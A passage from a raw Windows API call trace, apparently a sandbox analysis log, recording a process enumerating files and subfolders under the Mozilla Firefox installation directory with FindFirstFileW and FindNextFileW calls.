cAlternateFileName="AP5C76~1.DLL")) returned 1 [0236.571] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaff58d4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaff58d4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0236.571] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaff58d4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaff58d4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0236.571] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaff58d4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaff58d4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1 [0236.571] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb01bb37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb01bb37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0236.571] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb01bb37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb01bb37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0236.571] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb041d9d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb041d9d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0236.571] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb041d9d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb041d9d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x66b8, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0236.572] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb041d9d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb041d9d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0236.572] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb068003, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb068003, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0236.572] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb068003, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb068003, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0236.572] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb068003, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb068003, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0236.572] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb08e250, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb08e250, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0236.572] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb08e250, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb08e250, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0236.572] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb0b44c9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb0b44c9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0236.572] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb0da723, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb0da723, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf2260280, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="application.ini", cAlternateFileName="APPLIC~1.INI")) returned 1 [0236.573] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb34f2060, ftCreationTime.dwHighDateTime=0x1d5aa5f, ftLastAccessTime.dwLowDateTime=0xd87afa80, ftLastAccessTime.dwHighDateTime=0x1d5a9c4, ftLastWriteTime.dwLowDateTime=0xd87afa80, ftLastWriteTime.dwHighDateTime=0x1d5a9c4, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="bitkinex.exe", cAlternateFileName="")) returned 1 [0236.573] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb0da723, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xece35df2, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xece35df2, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="browser", cAlternateFileName="")) returned 1 [0236.573] GetProcessHeap () returned 0xc10000 [0236.573] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0236.573] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\browser\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb0da723, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xece35df2, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xece35df2, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0236.797] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb0da723, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xece35df2, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xece35df2, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.797] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeccb8639, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x200a4780, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x44669, dwReserved0=0x0, dwReserved1=0x0, cFileName="blocklist.xml", cAlternateFileName="BLOCKL~1.XML")) returned 1 [0236.797] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeccde86d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccde86d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe2ca280, ftLastWriteTime.dwHighDateTime=0x1d31cde, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.manifest", cAlternateFileName="CHROME~1.MAN")) returned 1 [0236.797] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd04ada, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecd04ada, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x2dbfcd00, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x313, dwReserved0=0x0, dwReserved1=0x0, cFileName="crashreporter-override.ini", cAlternateFileName="CRASHR~1.INI")) returned 1 [0236.797] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd77219, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb40aac, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xedb40aac, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensions", cAlternateFileName="EXTENS~1")) returned 1 [0236.798] GetProcessHeap () returned 0xc10000 [0236.798] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0236.799] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\browser\\extensions\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd77219, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb40aac, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xedb40aac, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0236.800] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd77219, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb40aac, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xedb40aac, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.800] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedb40aac, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb40aac, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xadec2f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1e83, dwReserved0=0x0, dwReserved1=0x0, cFileName="{972ce4c6-7e08-4474-a285-3208198ce6fd}.xpi", cAlternateFileName="{972CE~1.XPI")) returned 1 [0236.800] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedb40aac, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb40aac, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xadec2f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1e83, dwReserved0=0x0, dwReserved1=0x0, cFileName="{972ce4c6-7e08-4474-a285-3208198ce6fd}.xpi", cAlternateFileName="{972CE~1.XPI")) returned 0 [0236.800] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0236.800] GetProcessHeap () returned 0xc10000 [0236.800] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0236.801] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd77219, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb1a83d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xedb1a83d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="features", cAlternateFileName="")) returned 1 [0236.801] GetProcessHeap () returned 0xc10000 [0236.801] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0236.801] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\browser\\features\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd77219, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb1a83d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xedb1a83d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0236.980] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd77219, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb1a83d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xedb1a83d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.980] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed7f95f1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7f95f1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xadec2f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x221e, dwReserved0=0x0, dwReserved1=0x0, cFileName="aushelper@mozilla.org.xpi", cAlternateFileName="AUSHEL~1.XPI")) returned 1 [0236.980] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed81f880, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed81f880, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xadec2f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x16eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="clicktoplay-rollout@mozilla.org.xpi", cAlternateFileName="CLICKT~1.XPI")) returned 1 [0236.980] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed845ae9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed845ae9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xadec2f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x34dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="e10srollout@mozilla.org.xpi", cAlternateFileName="E10SRO~1.XPI")) returned 1 [0236.980] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed86bd43, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed86bd43, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xadec2f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0xd4f77, dwReserved0=0x0, dwReserved1=0x0, cFileName="firefox@getpocket.com.xpi", cAlternateFileName="FIREFO~1.XPI")) returned 1 [0236.980] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedace38c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedace38c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xadec2f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x434c, dwReserved0=0x0, dwReserved1=0x0, cFileName="followonsearch@mozilla.com.xpi", cAlternateFileName="FOLLOW~1.XPI")) returned 1 [0236.980] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedace38c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedace38c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xae84c600, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0xb3296, dwReserved0=0x0, dwReserved1=0x0, cFileName="screenshots@mozilla.org.xpi", cAlternateFileName="SCREEN~1.XPI")) returned 1 [0236.980] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedaf45e9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedaf45e9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xadec2f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x238c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="shield-recipe-client@mozilla.org.xpi", cAlternateFileName="SHIELD~1.XPI")) returned 1 [0236.981] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedb1a83d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb1a83d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xadec2f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x25a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="webcompat@mozilla.org.xpi", cAlternateFileName="WEBCOM~1.XPI")) returned 1 [0236.981] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedb1a83d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb1a83d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xadec2f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x25a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="webcompat@mozilla.org.xpi", cAlternateFileName="WEBCOM~1.XPI")) returned 0 [0236.981] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0236.981] GetProcessHeap () returned 0xc10000 [0236.982] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0236.982] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdc36bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecdc36bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb5133d80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x20853ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0236.982] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece35df2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xed7d339e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 1 [0236.982] GetProcessHeap () returned 0xc10000 [0236.982] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0236.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\browser\\VisualElements\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece35df2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xed7d339e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0236.982] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece35df2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, 